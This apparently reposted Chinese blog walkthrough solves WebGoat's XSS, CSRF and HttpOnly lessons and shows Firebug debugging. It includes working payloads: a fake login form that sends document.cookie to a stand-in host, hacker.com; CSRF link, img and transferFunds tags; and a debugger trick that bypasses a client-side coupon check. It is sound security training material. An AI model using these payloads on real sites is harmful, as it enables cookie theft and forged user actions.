文章來源:http://www.cnblogs.com/jonniexie/category/250726.html
主要內容:
WebGoat的安裝(略),內部訪問方法與後續需要使用的Firebug的一些功能
一.WebGoat安裝(略)與訪問
二.瀏覽器推薦使用Firefox
(1)FireBug安裝
(2)定位查看頁面元素
(3)Js調試
一.WebGoat安裝(略)與訪問
訪問方式:
先配置host: xx.xx.xx.xx hacker.qq.com
訪問URL:http://hacker.qq.com:8080/webgoat/attack
用戶密碼和密碼是: guest/guest
主要內容
保存,反射型Xss,CSRF及HttpOnly的特性
Phishing with XSS
LAB: Cross Site Scripting
Stage 1: Stored XSS.
Stage 2: Block Stored XSS using Input Validation
Stage 3: Stored XSS Revisited
Stage 4: Block Stored XSS using Output Encoding
Stage 5: Reflected XSS.
Stage 6: Block Reflected XSS.
Stored XSS Attacks.
Reflected XSS Attacks.
Cross Site Request Forgery (CSRF)
CSRF Prompt By-Pass.
CSRF Token By-Pass.
HTTPOnly Test
Cross Site Tracing (XST) Attacks.
Phishing with XSS
分析
如圖所示,我們輸入任何內容,點擊“Search”後會顯示在左下角,
查看左下角內容的HTML源碼,看是否有需要閉合的標籤
方法
很完美,無任何限制。。。
輸入<script>alert('xss')</script>
或者釣魚(爲了排版我用回車截斷了)
<div><br><br>拍拍網登錄<form
action="http://www.hacker.com/getinfo?cookie="%2bdocument.cookie>
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password></td></tr></table>
<input type=submit value=LOGIN></div>
結果如下圖:
LAB: Cross Site Scripting
Stage 1: Stored XSS
這個案例需要執行一個保存型的XSS
分析
普通職員可以修改查看自己的資料,管理員可以查看普通職員的資料
1.在職員larry的個人資料中插入xss腳本
2.管理員在查看larry的個人資料時運行腳本中招~(這樣就可以盜取管理員身份,或者利用管理員身份來乾點其他事CSRF)
方法
1.登陸larry用戶,修改用戶資料,把Street修改爲<script>alert('xss')</script>,
點擊” UpdateProfile”之後立即彈出窗口,說明這個XSS是可行的~
然後退出Larry用戶,登陸Moe查看Larry的信息,驗證攻擊是否成功~
Stage 2: Block Stored XSS using Input Validation
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stage 3: Stored XSS Revisited
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stage 4: Block Stored XSS using Output Encoding
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stage 5: Reflected XSS
分析
當客戶端發送什麼,服務器就返回什麼的時候,就會出現反射型XSS,比如搜索框
方法
登陸一個manager
在搜索框中輸入 <script>alert('xss')</script>
Stage 6: Block Reflected XSS
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stored XSS Attacks
分析
保存型Xss是攻擊者將Xss代碼保存在服務器上,任何用戶訪問都會中招~
方法
輸入以下數據:
Reflected XSS Attacks
上一節已經講過了,這裏還可以輸入<script>alert('xss')</script>
Cross Site Request Forgery (CSRF)
分析
這個和XSS類似,不過XSS是騙取用戶的信息,然後複製用戶身份進行攻擊
CSRF不用獲得用戶信息,在消息中插入,如果用戶在看這封郵件的時候,正好登陸了paipai,又一不小心點擊了下面這個鏈接,那麼被害者就會執行攻擊者發送的CGI命令xxcgi(可能是改價,刪除商品等敏感操作)
<a href="http://www.paipai.com/xxcgi?xx=x;jj=j" target="_blank">點我你就中招了</a>
或者
<img src="http://www.paipai.com/xxcgi?xx=x;jj=j" />
前者需要用戶點擊,而後者用戶看到這個帖子的時候就自動發送了請求~
CSRF Prompt By-Pass
分析
這個攻擊需要兩部,一次輸入轉賬的數目,第二次確認,沒有驗證碼的時代好危險。。。。
方法
<img src="?transferFunds=4000" />
<img src="?transferFunds=CONFIRM" />
CSRF Token By-Pass
。。。我倒,不知道怎麼就過了
HTTPOnly Test
關於httponly:
If the HttpOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client side script (again if the browser supports this flag). As a result, even if a cross-site scripting (XSS) flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.
大家可以看看httponly設置前後Js讀取Cookie的情況
二.瀏覽器推薦使用Firefox
在完成WebGoat的任務時,會有修改頁面元素的部分,FireBug是個很不錯的工具,可以助你早日通關,下面介紹下FireBug中之後我們會用到的幾個功能
(1)FireBug 安裝
點擊工具->附加組件打開組件管理器
獲取附加組件中搜索FireBug,點擊安裝即可
打開FireBug,下面標記的是我們重點將用到的三個按鈕
(2) 定位查看頁面元素
當我們激活”查看頁面元素”按鈕的時候,鼠標在頁面移動時會有一個藍色的框高亮顯示當前鼠標所在元素,相應的下面HTML欄裏面會在DOM樹裏面找到該元素所在位置,如下圖所示
找到該元素後,點擊左鍵確認,釋放” 查看頁面元素”按鈕功能,這時我們就可以在HTML欄裏面修改該元素的值
比如我要把” How To Work With WebGoat” 修改成 “Welcome to Paipai”
(3)Js 調試
注意上圖中,腳本項要設置爲”啓動”
在這裏我們用WebGoat中的一個實例來顯示這個功能
實例位置:AJAX Security 下面的 Insecure Client Storage
目標:用戶輸入一個coupon後點擊”Purchase”,前臺Js會驗證code的有效性,我們要通過修改Js運行時的變量值跳過這個檢查~
使用” 查看頁面元素”工具查看coupon code輸入框,發現提交時,驗證coupon code的js函數是javascript/clientSideValidation.js中的isValidCoupon(field1.value)函數
我們選中腳本欄,選擇javascript/clientSideValidation.js文件,就可以找到isValidCoupon函數,或者在右側的搜索框中直接輸入isValidCoupon也可以查找到isValidCoupon函數
查看isValidCoupon函數,可以發現下圖紅框處就是判斷coupon code是否合法的關鍵代碼行了,在行數左側點左鍵,設置一個斷點
在coupon code的輸入框內輸入任何一個字母:
這時激活了onkeyup事件,調用isValidCoupon,程序運行到我們設置的斷點處
可以看到我們輸入的是coupon = 1
把鼠標放到變量decrypted上,顯示decrypted = “PLATINUM”
要是函數返回ture,我們需要coupon == decrypted成立,所以我們在右邊的監控欄中把coupon的值改成PLATINUM
鼠標移動到coupon上看看coupon的值已經被修改,點擊運行按鈕,通過~